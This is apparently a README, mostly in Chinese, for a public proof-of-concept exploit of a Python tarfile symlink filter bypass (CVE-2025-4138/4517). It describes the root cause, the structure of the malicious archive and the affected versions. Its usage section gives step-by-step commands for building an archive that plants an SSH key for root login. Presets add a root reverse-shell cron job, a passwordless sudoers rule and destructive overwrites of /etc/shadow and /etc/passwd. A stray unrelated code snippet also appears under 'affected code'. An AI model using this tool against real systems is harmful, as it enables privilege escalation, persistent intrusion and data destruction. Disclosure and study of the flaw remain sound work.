CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass 符号链接过滤器绕过
通过 filter="data" / filter="tar" 提取实现任意文件写入
Python tarfile 模块中存在一个严重漏洞,允许攻击者 绕过提取过滤器("data" 和 "tar"),并在预期的提取目录之外 写入任意文件。当特权进程(例如 root 级别的备份脚本、CI/CD 流水线或软件包安装程序)使用被认为安全的 filter="data" 参数提取攻击者控制的 tar 归档时,此漏洞可让攻击者以该特权用户的身份 实现完全任意文件写入 — 通常可提升至 root 权限。
根本原因是 os.path.realpath() 的一个行为怪癖:一旦完全展开的路径超过 PATH_MAX(Linux 上为 4096 字节,macOS 上为 1024 字节),它会 静默停止 解析符号链接。tarfile 过滤器依赖 realpath() 进行安全检查,但操作系统内核在提取期间独立解析符号链接 — 这就造成了一个 TOCTOU(检查时间到使用时间)间隙,从而允许目录逃逸。
| 字段 | 值 |
|---|---|
| CVE 编号 | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4(严重) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 路径名到受限目录的限值不当 |
| 漏洞类型 | 通过符号链接的路径遍历 / 过滤器绕过 |
| 影响 | 任意文件写入 → 权限提升、沙箱逃逸、数据篡改 |
| 攻击向量 | 向任何使用带过滤器的 tarfile.extractall() 的应用程序交付恶意 tar 归档 |
| 受影响版本 | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 修复版本 | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 补丁 | CPython PR #135037 |
| 公告 | GHSA-hgqp-3mmf-7h8f |
| 报告者 | Caleb Brown — 谷歌安全研究 |
(此处继续)``` ┌───────────────────────────────────────────┐ │ Malicious Tar Structure │ └───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 受影响版本
| Python 分支 | 受影响范围 | 修复版本 | 状态 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ 已修复 |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ 已修复 |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ 已修复 |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ 已修复 |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ 已修复 |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ 已终止支持 |
| 3.14+ | 默认筛选器已改为 `"data"` | 请查看最新版本 | ⚠️ 风险更高 |
> **注意:** Python 3.14+ 将默认 `filter` 参数从无筛选改为 `"data"`,这意味着之前没有筛选(因此已经不安全)的应用程序现在默认使用存在漏洞的筛选器。
---
## 受影响的代码模式
在易受影响的 Python 版本上执行以下操作的任何应用都可能被利用:
```python
s = http.client.HTTPSConnection('example.com')
s.connect()
s.sock.settimeout(None)
| Permission denied
``````python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
常见的真实场景:
.tar 分发文件git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**要求:** Python 3.6+(用于创建存档——**目标**必须运行存在漏洞的版本)
---
## 用法
### 快速入门——SSH 密钥注入```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
重要提示: 该漏洞会自动在 tar 存档中创建中间目录(例如
/root/.ssh/)。如果目标目录在文件系统中不存在,extractall()会在解压时创建它。
| 预设 | 目标文件 | 描述 | --extra 参数 |
|---|---|---|---|
ssh-key | /root/.ssh/authorized_keys | 注入 SSH 公钥以实现 root 登录 | — |
cron | /etc/cron.d/pwned | 植入 root 反向 Shell 的 cron 任务 | LHOST IP 地址 |
sudoers | /etc/sudoers.d/pwned | 为指定用户添加 NOPASSWD sudo 规则 | 用户名 |
shadow | /etc/shadow | 覆盖 shadow 文件(⚠️ 破坏性操作) | — |
passwd | /etc/passwd | 覆盖 passwd 文件(⚠️ 破坏性操作) | — |
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar